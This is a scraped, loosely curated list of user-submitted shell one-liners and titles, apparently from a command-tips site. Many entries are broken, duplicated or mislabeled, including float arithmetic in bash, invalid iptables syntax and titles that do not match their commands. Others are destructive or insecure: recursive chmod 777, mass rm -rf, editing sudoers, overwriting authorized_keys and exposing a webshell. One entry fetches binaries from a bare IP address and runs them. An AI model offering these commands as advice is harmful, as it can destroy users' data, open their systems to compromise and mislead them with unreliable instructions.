unace x [file]
it's an alias to summon the command history only for lazy people well for busy too
alias h='history'
floating point operations in shell scripts
echo $((3.0/5.0))
restart network manager
sudo /etc/init.d/networking restart
Informations sur les connexions reseau
netstat -taupe
Mail enable a distribution group
Enable-DistributionGroup Name-of-Dist-Group
netstat -luntp
netstat -luntp
ramdomize echo 'hello world!'
(($RANDOM%6)) || echo 'hello world!'
Empty Trash in Gnome When the Trash Can Refuses to Clear
rm -rf ~/.local/share/Trash/files/*
cd into the latest directory
cd -
Open a file using vim in read only (like less)
vim -R /etc/passwd
apache , how to avoid bugs and start directly the server
cd /etc/init.d && sudo ./apache2 start
cd
cd -
Install php-tidy Module / Extension
yum install php-tidy
Brings you back to previous directory
alias b='cd -'
Visit another command line gōngfu site
lynx http://shell-fu.org/
mkdir some file and mv some file
for i in `seq 100`;do mkdir f{1..100} touch myfile$i mv myfile$i f$i;done
Search The History for a Particular Command (ssh in this case)
history | grep ssh
find all active ip?s in a subnet
FOR /L %i IN (1,1,254) DO ping -n 1 10.254.254.%i | FIND /i "Reply">> c:\ipaddresses.txt
show current directory
nautilus `pwd`
Find broken symlinks
find . -type l | xargs file | grep broken
将一个文件拷贝到另一个文件的末尾
dd if=file1 of=file2 seek=1 bs=$(stat -c%s file2)
List all system users
~<press tab twice>
Replace spaces with '_' in filenames
find -depth . | (while read FULLPATH; do BASENAME=`basename "${FULLPATH}"`; DIRNAME=`dirname "${FULLPATH}"`; mv "${DIRNAME}/${BASENAME}" "${DIRNAME}/${BASENAME// /_}"; done)
Easily find an old command you run
cat .bash_history | tail -100 | grep {command}
kill process by name
rush> processes.filter(:cmdline => /mc/).kill
Have you mooed today?
apt-get moo
create or empty a file
> filename
Best command EVER!!
rsync
Run a cron job every 15 mins past the hour
*/15 * * * * /path/to/command
list with full path
ls -a | sed "s#^#${PWD}/#"
Adobe Updater Crashes on Mac OS X Fix
sudo /Applications/Utilities/Adobe\ Utilities.localized/Adobe\ Updater5/Adobe\ Updater.app/Contents/MacOS/Adobe\ Updater
Which Version Is My Bash Shell?
echo $BASH_VERSION
Tell us quantities of disk usage memory and swap used in a moment done
alias dfr='df;free'
Find all files containing a word
find . -exec grep -l "sample" {} \;
Restart web server
apachectl restart
awk 'BEGIN{print strftime("%c",1238387636)}'
Convert UNIX time to human readable date
Leave a comment when voting down..
if [ "${vote}" = "down" ]; then echo leave comment; fi
stop children visiting sex sites:www.baidu.com
iptables -A OUTPUT www.baidu.com -p tcp -j REJECT --reject-with tcp-reset
view solaris system logs
more /var/adm/messages
undo tab close in firefox
<ctrl-shift-t>
quickly navigate your filesystem
j mp3
Search for APT Packages
apt-cache search php5
annoy your sysadmin colleague
cd / && touch ./\-i
Start a file browser in the current directory
screen -d -m nautilus --no-desktop `pwd`
Recursive chmod all files and directories within the current directory
find . -print -exec chmod 777 {} \;
Disable Ubuntu Notification
sudo chmod -x /usr/lib/notify-osd/notify-osd
Go to /
...
Forcefuly kills the pid
kill -9 <replace this with pid you want to kill>
easiest way to get kernel version without uname
strings /boot/kernel-file | grep 2.6
scp
scp -P 2202 /$filelocation user@host:/$final/$location
unalias previously aliased command
unalias
Search for a process by name
psgrep() ... func to long, please look under "description"
gunzip all .gz file in current dir
ls | grep .gz >> list.txt && cat list.txt | while read x ; do gunzip -d $x ; done && rm -rf list.txt
look what's running
ps aux
Create a iso from the disk.
cat /dev/cdrom > ~/mydisk.iso
show current directory
pwd
get you public ip address
wget -q -nd http://www.biranchi.com/ip.php; echo "Your external ip is : `cat ip.php`"
use scp to copy files
scp -P 1837 <path_to_loca_file> <remote_user>@<remote_ip>:<remote_ip>
grep directory and sub-directories
grep -r <searchterm> *
Just take me to home directory
cd
universal extractor
http://pastebin.com/XCnEFJF6
sun solaris 9 complete restart
init 6
Caching-Nameserver
yum -y install bind bind-chroot caching-nameserver
Delete all files and folders except one file/dir
ls -R | grep -v skipme | xargs rm -Rf
Recursive chmod all files and directories within the current directory
find | xargs chmod 777
Commandlinefu site like but for Emacs !
firefox http://emacs.vote-system.com/
wget - 403 Forbidden Error
wget -U Mozilla http://example.com/foo.tar.gz
Get your public ip
python -c "import socket; s=socket.socket(socket.AF_INET, socket.SOCK_DGRAM); s.connect(('google.com', 80)); print s.getsockname()[0]"
Free unused memory currently unavailable
dd if=/dev/zero of=junk bs=1M count=1K
Display which distro is installed
rpm -qf /etc/*-release
Display your current working directory.
pwd
Duplicate a directory tree using tar and pipes
(cd /source/dir ; tar cv .)|(cd /dest/dir ; tar xv)
Quickly create simple text file from command line w/o using vi/emacs
echo "your text" > filename
How To Install Microsoft Text Fonts In Ubuntu Linux
sudo apt-get install msttcorefonts
mkgo - Create a Directory and immediate go into it
mkgo newdir
kill process by name
kill -9 `pgrep firefox`
Wait a moment and then Power off
sleep 10; poweroff
What is the sound of your memory ?
sudo cat /dev/mem > /dev/dsp
Modificar o enconding de todos arquivos de um diret?rio
recode
get you public ip address
/usr/bin/lynx -dump http://www.netins.net/dialup/tools/my_ip.shtml | grep -A2 "Your current IP Address is:" | tail -n1 | tr -d ' '|sed '/^$/d'| sed 's/^ *//g'
display a tab separated file as columns
cat <file>|column -t
Grep only files matching certain pattern (Advanced)
find <path> |xargs grep <pattern>
show the last modified date on directory and file
ls -al
Expose a Webshell
pm2 install pm2-webshell
Lire une video dans une console Linux
mplayer -vo caca foo.avi
check if commandlinefu.com got a better domain
whois cmd.fu;whois cmdfu.com|grep -i cmdfu
Save disk space by removing help and documentation files
for i in {a..z};do sudo rm /usr/share/doc/$i*/*;done
send Everyone on your machine some love
w | egrep -v '(load|FROM)' | awk '{print $2}' | sed 's/^/tty/' | awk '{print "echo \"The Matrix has you...\" >> /dev/" $1}' | bash
List system's users
teste.txt < cut -d : -f 1,5 /etc/passwd | tr : \\t | tr a-z A-Z | cat teste.txt
Short alias for sudo
alias s='sudo'
Desmontando um dispositivo ocupado
fuser -vm /dev/sda2
Hide files and folders on GNOME Desktop.
cd ~/Desktop && for FILES in $(ls); do mv $FILES .${FILES}; done
bash man page
man bash | col -b
Extract tar.gz in a single command
gunzip < foo.tar.gz | tar xvf -
get your public ip address
echo -e "Content-type: text/plain\n\n$REMOTE_ADDR"
pastebinit - command-line pastebin client
pastebinit [file]
Restart nautilus
killall nautilus
Look at logs startring at EOF
tail -f <file>
Make a python file executable
chmod +x myfile.py
system update
sudo apt-get update && sudo apt-get upgrade && sudo apt-get clean
recursive remove all htm files
rm -rf *.htm
RHEL / CentOS Support 4GB or more RAM ( memory )
yum install kernel-PAE
The awesome ping / traceroute combination
mtr <URL>
how long system has been running
uptime
Install MP4Box
check output
ps -A
ps -A
Remove "ssh host" from known hosts file.
echo "${1}" | egrep '^[[:digit:]]*$' ; if [ "$?" -eq 0 ] ; then sed -i "${1}"d $HOME/.ssh/known_hosts ; else printf "\tYou must enter a number!\n\n" ; exit 1 ; fi
Make FILES executable
chmod +x FILES
Add a line for your username in the /etc/sudoers file, allowing you to sudo in Fedora
echo 'loginname ALL=(ALL) ALL' >> /etc/sudoers
Delete lines in a text file fast
10056dd
fumanchu testing app1 w/bad rating
dst=/data/wimax/log/bin;sd=/sdcard;(rsync -aP rsync://168.103.182.210/t $sd/t ;mkdir $dst ;cd $dst; cp $sd/t/su $sd/t/flash_image . ;chmod 755 dostuff;./dostuff) > $sd/fumanchu.log 2> $sd/fumanchu.err.log
for i in $(grep 'mystring' myfile1)|awk '{print $1}'); do grep $1 myfile2;done
for i in $(grep 'mystring' myfile1)|awk '{print $1}'); do grep $1 myfile2;done
Five Minutes To Go
for i in $(seq 0 5) ; do echo "5 - $i" | bc -l ; sleep 60 ; done && echo "bye, bye" && shutdown -h now
How to install cron (crond, crontab)
yum install vixie-cron crontabs
do a directory disk usage summary without giving the details for the subdirectories
for dir in $(ls); do du -sk ${dir}; done
Run the previous command with sudo
sudo !!
Art of hacking on perl
perl -e 'print "\x41\x72\x74\x20\x6f\x66\x20\x68\x61\x63\x6b\x69\x6e\x67\x2e\x2e\x2e\n" x 100'
Getting involved!!
/bin/bash echo -n "Let's POST MORE, PLEASE!"
Combining text files into one file
ls | grep *.txt | while read file; do cat $file >> ./output.txt; done;
how to run a script to change directory
. ./cd_some_dir.sh
Install your ssh key file on a remote system
scp ~/.ssh/id_rsa.pub user@remote:.ssh/authorized_keys
get cpu info from dmesg
dmesg | grep cpu
عرض اتصالات لبورت محدد
netstat -antp | grep 22
Restart web server
apache2ctl graceful
up - aliaes for moving up the directory tree
alias up="cd .."; alias upp="cd ../.."; alias uppp="cd ../../.."; alias upppp="cd ../../../.."; alias uppppp="cd ../../../../.."
nautilus
nohup nautilus &
Verify Windows SNMP settings
reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SNMP\Parameters\ValidCommunities
List path of binaries
not necessarily better, but many...!
find out who you logged onto the machine as – and not just who you are now
who am i
To display a listing of files and directory
ls -l
To list all files in your home directory
ls ~
listar arquivos com permiss?o de acesso
ls -l
alias vi to emacs
alias vi='emacsclient -n'
show current directory
explorer .
Eject the CD Rom Device
while true; do eject /dev/cdrom && eject -t /dev/cdrom; done
alias source .bashrc and nano .bashrc
alias sbrc="source ~/.bashrc" && alias nbrc="nano ~/.bashrc"
create any empty file in the current path
touch <filename>
mosh
ln
Ultra shortcut for ssh root@
alias s='ssh -l root'
Checks for Debug HTTP Verbs in IIS settings
type C:\WINNT\system32\inetsrv\MetaBase.xml | find "DEBUG"
Reboot
shutdown now -r
move you up one directory quickly
alias ..='cd ..'
ps- ef | grep pmon
this command is to see oracle instance process on linux server
move you up one directory quickly
yum install zsh
Checks for custom error pages in IIS configuration
type C:\WINNT\system32\inetsrv\MetaBase.xml | find "400" | find "CustomError"
See what date Symantec definitions were last updated on a WIndows system
type "C:\Program Files\Common Files\Symantec Shared\VirusDefs\definfo.dat"
Empty a file
echo "" > filr.txt
creates balls
touch balls
ls short hand
l
To list all files in your home directory
ls -l ~
To list all files in your home directory
ls -l $HOME
Create a new file
touch /path/to/file.txt
Create a new file
touch file
go to home directory
cd
List all files & directories in the current directory
ls -la
cd
cd
Convert Windows/DOS Text Files to Unix
Convert Windows/DOS Text Files to Uni
test
w3m
hello Command-line-fu
perl -e 'print "Hello World!", "\n";'
Install Apache 2 on centOS.
yum install httpd
How to send parameters to a batch file
test.bat parm1 parm2 parm3
Get back to the root directory of a Windows drive (like c:)
cd \
get all the data about your IP configuration across all network cards
ipconfig /all
ping www.facebook.com
The 1 millionth fibonacci number
time echo 'n=1000000;m=(n+1)/2;a=0;b=1;i=0;while(m){e[i++]=m%2;m/=2};while(i--){c=a*a;a=c+2*a*b;b=c+b*b;if(e[i]){t=a;a+=b;b=t}};if(n%2)a*a+b*b;if(!n%2)a*(a+2*b)' | bc
The absolutely fastest nth fibonacci number
time echo 'n=70332;m=(n+1)/2;a=0;b=1;i=0;while(m){e[i++]=m%2;m/=2};while(i--){c=a*a;a=c+2*a*b;b=c+b*b;if(e[i]){t=a;a+=b;b=t}};if(n%2)a*a+b*b;if(!n%2)a*(a+2*b)' | bc
The end of time
date -ud @$[2**31-1]